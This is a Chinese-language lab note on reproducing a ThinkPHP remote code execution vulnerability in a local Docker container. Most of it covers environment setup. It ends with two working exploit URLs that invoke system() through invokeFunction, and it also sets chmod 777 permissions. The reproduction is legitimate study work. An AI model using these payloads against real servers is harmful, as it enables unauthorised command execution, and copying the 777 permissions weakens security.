首先要部署环境

这里利用docker的方便部署性,来直接找个现成的
 
下载安装后,cd到 thinkphp 目前,ls文件如下
 
文件中有 docker-compose.yml 文件,为docker中要用到的。
查看, vi  docker-compose.yml 代码如下,原始镜像是php:7.2.2-apache,container_name设置为php_web,端口为80【该处可以修改】
 
````
version: '3'
services:
  web:
    image: php:7.2.2-apache
    container_name: php_web
    volumes:
      - ./html:/var/www/html/
    ports:
      - "80:80"
````
 
防止端口冲突,修改对外端口为8010
````
ports:
      - "8010:80"
````
 
 
发现没有 docker-compose命令。。。百度。。安装一下。
sudo curl -L "https://github.com/docker/compose/releases/download/1.23.1/docker-compose-linux-x86_64" -o /usr/local/bin/docker-compose
再给下权限  sudo chmod +x /usr/local/bin/docker-compose
查看是否安装成功,看下版本:docker-compose --version
返回:docker-compose version 1.23.1, build b02f1306
 
 
 docker-compose -f docker-compose.yml up --no-recreate
-f 指定yml文件
up 生成后直接启动
--no-recreate 如果容器已经存在,不需要重新创建
 
等待生成完成,下面是先要docker里下载镜像“php:7.2.2-apache”,耗时很长
 
MD...
下载太慢,卡了。
换docker源,下载快的跳过这步
配置Docker加速器
您可以使用如下的脚本将mirror的配置添加到docker daemon的启动参数中。
# 系统要求 CentOS 7 以上,Docker 1.9 以上。
sudo cp -n /lib/systemd/system/docker.service /etc/systemd/system/docker.service
sudo sed -i "s|ExecStart=/usr/bin/docker daemon|ExecStart=/usr/bin/docker daemon --registry-mirror=https://1234abcd.mirror.aliyuncs.com|g" /etc/systemd/system/docker.service
sudo systemctl daemon-reload
sudo service docker restart
 
用这个方式,换源成功。
再执行 docker-compose -f docker-compose.yml up --no-recreate
OK,启动了
 
 
MD,打开地址报错。http://192.168.31.37:8010
Uncaught think\exception\ErrorException: mkdir(
看了下,可能是权限问题。。
找到对应目录 /var/www
````
 chmod -R 777 html chmod -R 777 html
````
 
 
再次访问,正常
访问地址
http://192.168.31.37:8010/public/index.php?s=index/\think\Container/invokeFunction&function=call_user_func_array&vars[]=system&vars[1][]=pwd
 
 
 
http://192.168.31.37:8010/public/index.php?s=index/\think\Container/invokeFunction&function=call_user_func_array&vars[]=system&vars[1][]=whoami
 
 
完成.成功复现问题
 

<wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">